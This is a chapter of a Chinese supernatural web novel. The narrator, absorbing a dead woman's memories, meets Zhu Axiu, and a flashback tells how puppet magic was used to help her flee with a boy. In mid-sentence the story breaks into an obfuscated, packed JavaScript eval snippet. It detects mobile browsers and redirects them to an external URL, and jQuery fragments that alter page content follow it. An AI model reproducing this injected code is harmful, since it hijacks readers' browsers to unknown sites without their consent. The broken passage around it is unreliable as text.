第六天，是个阴天。


    铅灰色的云层低低压着村庄的屋顶，空气潮湿闷热，没有一丝风。老槐树的叶子耷拉着，纹丝不动。院子里的地面泛着潮气，墙角生了青苔的地方，颜色深得像墨。


    这种天气，让人心里也憋着一股躁，沉甸甸的，透不过气。


    我坐在堂屋里，没有点灯。手指无意识地摩挲着竹椅扶手，这个动作很熟悉，是白濯心的习惯。她在思考、在等待、在不安的时候，就会这样摩挲着身边的东西。


    而我正在这样做。


    记忆的侵蚀，比我想象的更深，更悄无声息。它不是排山倒海的淹没，而是像水滴穿石，一点一点，在我尚未察觉的时候，已经改变了我的行为模式，我的思考方式，甚至我的本能反应。


    我是谁？


    这个问题又一次浮上来，在黑暗里盘旋，找不到答案。


    “白小姐？”


    院门外传来一声轻唤，怯生生的，带着当地女子特有的口音。


    我几乎是立刻站了起来。动作快得让我自己都有些吃惊，那是白濯心身体的本能反应，心脏在胸腔里不规律地跳动着，一下，两下，沉重得像是在敲鼓。


    “阿绣？”我走到门边，隔着门板应了一声。声音出口，带着一种我未曾预料的温和。那不是伪装出来的温和，是自然的、习惯性的语调。


    我的呼吸骤然一滞。


    一个名字，或者说，一个称呼，从记忆的深渊里，猛地浮了上来。


    朱阿绣。


    “是我。”门外的声音里多了点笑意，“白小姐，好久不见了。”


    我沉默了几秒。指尖抵在门栓上，冰凉粗糙的木料触感让我稍微清醒了些。


    但手还是拉开了门栓。


    门“吱呀”一声开了。门外站着个穿着藕色斜襟衫的女人，约莫三十出头，眉眼清秀，皮肤是那种久不见阳光的苍白。她挎着个竹篮子，篮子上盖着块靛蓝印花布。看见我，她眼睛弯了起来，笑容像初春化开的溪水，清浅温柔。


    我看到这张脸的瞬间，全身的血液仿佛在刹那间冻结了。


    我认得这五官。


    不是具体的眉眼，而是那种组合的方式，那种神态，尤其是那双眼睛，眼尾上挑的弧度，看人时那种专注又带着点探究的眼神，和记忆深处某个苍老的面容，诡异地重合在了一起。


    朱阿绣。


    真的是她。


    但又不是“她”了。


    她用了傀术，又剥了别人的壳。


    这个认知像一根冰冷的针，猝不及防地刺进我的脑海，带来一阵尖锐的眩晕和恶心。胃部痉挛了一下，我扶住门沿，指甲深深抠进木头粗糙的纹理里。


    “白小姐。”她又唤了一声，目光在我脸上细细描摹，“你怎么瘦了这么多？脸色也不好。”


    我没有让开，只是站在门内，挡住她的视线，面无表情地看着她。


    距离近了，看得更清楚。这张脸，年轻饱满，皮肤紧致，连眼角都寻不出一丝细纹。可那双眼睛，却沉淀着一些与这张脸格格不入的东西。是历经世事的浑浊，是某种深不见底的幽暗，是只有活了很多年、见惯了生死诡谲的人，才会有的、无法完全掩饰的沧桑。


    “你来做什么。”我开口，声音是我自己都未曾预料的干涩沙哑，话中的生疏甚至不像朱阿绣她所说的，她们关系这么好。


    朱阿绣像是没听出我语气里的冷淡，依旧笑着，提起手里的东西，一个用深蓝色印花布包着的竹篮子。


    “来看看白小姐，一直想来，可总被事情绊着。”她语气轻快，带着点撒娇似的抱怨，“今天好不容易得空，你不请我进去坐坐？”


    说着，她就要往里走。


    我脚步未动，依旧挡在门口，身体微微侧了侧，彻底封住了她窥探堂屋的视线。


    “不方便。”我说，语气没有商量的余地。


    朱阿绣脚步顿住，脸上的笑容僵了僵，但很快又舒展开，只是眼底的笑意淡了些，多了几分探究。


    “不方便？”她重复着我的话，视线越过我的肩膀，试图往院子里看，“白小姐，你这里……有客人？”


    “没有。”我答得很快，几乎有些生硬。


    “可我听说，”朱阿绣微微偏头，露出一副天真又好奇的神情，“张勤奋新娶的媳妇，许老师，这几天都在你这儿？说是来求子？”


    我的心往下沉了沉。看来，她一直就在关注这边的动静。


    “是有这么个人。”我承认了，但语气平淡，像在说一件无关紧要的事，“不过她在求子，不见外人。你回去吧。”


    “白小姐。”朱阿绣的声音低了下去，脸上的笑容彻底消失了，取而代之的是一种近乎委屈的神情，“你就这么不待见我？你避着我多久没见了？从前……从前我们不是这样的。”


    从前。


    这两个字像一把生锈的钥匙，猛地捅进了记忆的锁孔，发出令人牙酸的转动声。一些破碎的画面、零碎的感受，不受控制地涌了上来。


    柑橘……


    记忆在这里定格，然后放大。


    是很多年前一个秋日午后，阳光很好。朱阿绣提着一个小竹篮，篮子里是几个青黄相间的柑橘，表皮还带着新鲜的绿叶。她有些不好意思地笑，说：“白小姐，我家院子里那棵柑橘树结果了，不多，就这几个长得还算好，给你尝尝。”


    白濯心接过来。柑橘不大，有些还带着疤痕，但她心里是暖的。她知道朱阿绣在夫家日子并不好过，婆婆厉害，丈夫强势，这几个柑橘，怕是偷偷省下来。


    她剥开一个，掰了一瓣放进嘴里。酸，很酸，还带着未褪尽的苦涩。但她脸上没露出分毫，笑着说：“很甜，阿绣有心了。”


    朱阿绣眼睛立刻亮了，像是得到了莫大的肯定。


    后来，朱阿绣每次来，几乎都会带柑橘。有时是秋天，有时甚至是冬天，不知从哪里弄来的，保存得小心翼翼。白濯心每次都收下，每次都当着她的面，剥开，吃一瓣，然后说“甜”。


    其实，白濯心从来不喜欢吃柑橘。她嫌那味道太酸，嫌剥开后手指上留下的、久久不散的苦涩气味。


    但她从没说过。


    因为她知道，那是朱阿绣能拿出的、为数不多的、带着温度的心意。在那个冰冷、孤寂、充斥着死亡气息的村子里，那一点点带着酸涩的心意，是难得的慰藉。


    可后来呢？


    后来，朱阿绣失踪了九年。在一个很冷的夜晚，屋子的院门被突然拍响，不是敲，是近乎绝望的捶打和抓挠。


    打开门，一个浑身湿透、沾满泥泞和……血迹的女人跌了进来。她头发散乱，眼神惊恐涣散，脸上、手上都有新鲜的擦伤和淤青，嘴唇冻得乌紫，牙齿咯咯作响。她怀里紧紧抱着一个脏兮兮的、大约十岁模样的男孩，孩子似乎睡着了，或者昏过去了，小脸通红，呼吸微弱。


    是朱阿绣。但又不是白濯心记忆中那个怯生生，只会送柑橘的小妹妹了。眼前的朱阿绣，像一个被逼到绝境的疯女人，只剩下破碎的呼吸和濒死般的战栗。


    “白小姐……救救我……救救信儿……”她语无伦次，声音嘶哑得几乎听不清，“他们……他们之前害死了雀儿，还想害我的信儿……我装疯了九年……才找到机会逃了出来……”


    我惊骇万分，连忙将人扶进屋，生了火，裹上厚被，灌下热汤。朱阿绣断断续续、夹杂着剧烈喘息和哭泣的讲述，拼凑出一幅令人毛骨悚然的图景。


    她怎么和妹妹阿雀被张柏舟拐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108329|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    回家做了共妻，怎么被折磨，阿雀怎么惨死，她怎么假装顺从，忍辱负重九年，终于找到机会，带着阿雀的儿子逃了出来，却又无处可去，只能偷偷逃到了我这里。


    朱阿绣死死抱住怀里的张信，仿佛一松手孩子就会消失。“白小姐，我没办法了……我抱着信儿跑了出来……跑了一夜……我不敢回头……”


    我看着眼前几乎崩溃的朱阿绣，看着她怀里烧得迷糊、毫不知自己逃过一劫的孩子，那颗早已在傀术和生死间变得有些冷硬的心，被狠狠地揪紧了。


    朱阿绣是白濯心记忆里为数不多的、带着温度的回忆。尽管后来联系少了，但那点情分还在。不能见死不救。


    可是怎么救？


    一个大胆而危险的念头，在我心中成型。或许，只有用最熟悉也最忌讳的傀术，才能为他们争得一线生机。


    “阿绣。”白濯心握住她冰冷颤抖的手，声音沉静，带着一种不容置疑的力量，“听着，你想不想带着信儿，彻底离开这里，去一个没人认识你们的地方，重新开始？”


    朱阿绣茫然地抬起泪眼，然后用力点头，眼神里燃起一丝求生的火苗。


    “好。那你按我说的做。”我深吸一口气，“我会做一个纸人，模样、身量，做得和信儿一样。然后，我会教你一些简单的傀术口诀和手法。不用多深，只要能暂时让纸人‘活’过来，像信儿一样哭，一样动，维持一两个时辰就行。”


    朱阿绣瞪大了眼睛，难以置信，但更多的是一种抓住救命稻草的急切。


    “明晚之前，你带着真的信儿，偷偷回去。找机会，用这个纸人，换下真的信儿。然后，用我教你的法子，让纸人‘活’过来，让它跑，往山里跑，引开那些人的注意。你就趁乱，带着真的信儿，往相反的方向跑，跑得越远越好，永远别再回来。”


    这是一个极其冒险的计划。纸人傀术并非万能，稍有差池就会露馅。教给一个毫无基础的朱阿绣，更是难上加难。但这是我在当时能想到的、唯一有可能让他们逃脱生天的办法。


    接下来的两天，我几乎不眠不休。我仔细测量了昏睡中张信的尺寸，挑选了最柔韧的竹篾和特制的纸张，以惊人的专注和技艺，扎出了一个与张信几乎一模一样的纸人。点睛的那一刻，纸人孩童空洞的眼神里，甚至被我小心地注入了一丝属于张信的、懵懂不安的“神韵”。


    同时，我也争分夺秒地教朱阿绣最简单的傀术引子。如何以血为媒，如何默念口诀，如何用指尖那一点点微弱的、引导“生气”流转的触感。朱阿绣学得出乎意料的快，她眼中那种混合着恐惧、仇恨和强烈求生欲的光芒，让她对这股陌生而诡异的力量，展现出一种近乎本能的理解和掌握。


    “记住，阿绣。”交付纸人和最后叮嘱时，我神色无比严肃，“这只是权宜之计，是骗人的把戏。纸人撑不了多久，一旦‘气’散了，它就会变回一堆纸和竹篾。你只有最多两个时辰。带着信儿，永远离开，别再碰这些东西，过正常人的生活。”


    朱阿绣紧紧抱着那个轻飘飘的纸人，又看看床上依旧昏睡的张信，重重点头，泪水再次涌出，但这一次，里面有了希望。“白小姐，你的大恩大德，我下辈子做牛做马……”


    “别说这些。”我打断她，将一小包干粮和一点点纸钞塞进她怀里，“快走吧，趁天黑。一路小心。”


    我站在院门口，看着朱阿绣背着张信，抱着纸人，身影踉跄却坚定地消失在暮色笼罩的山道上，心中充满了担忧，也有一丝如释重负。我以为自己做了一件正确的事，拯救了两条性命，也斩断了朱阿绣与傀术更深的孽缘。


    结果，第二天就听见村里人说朱阿绣被抓了。说她闯入了女人不能进的祠堂，妄图毁掉那里的一切，还弄出了很大的动静。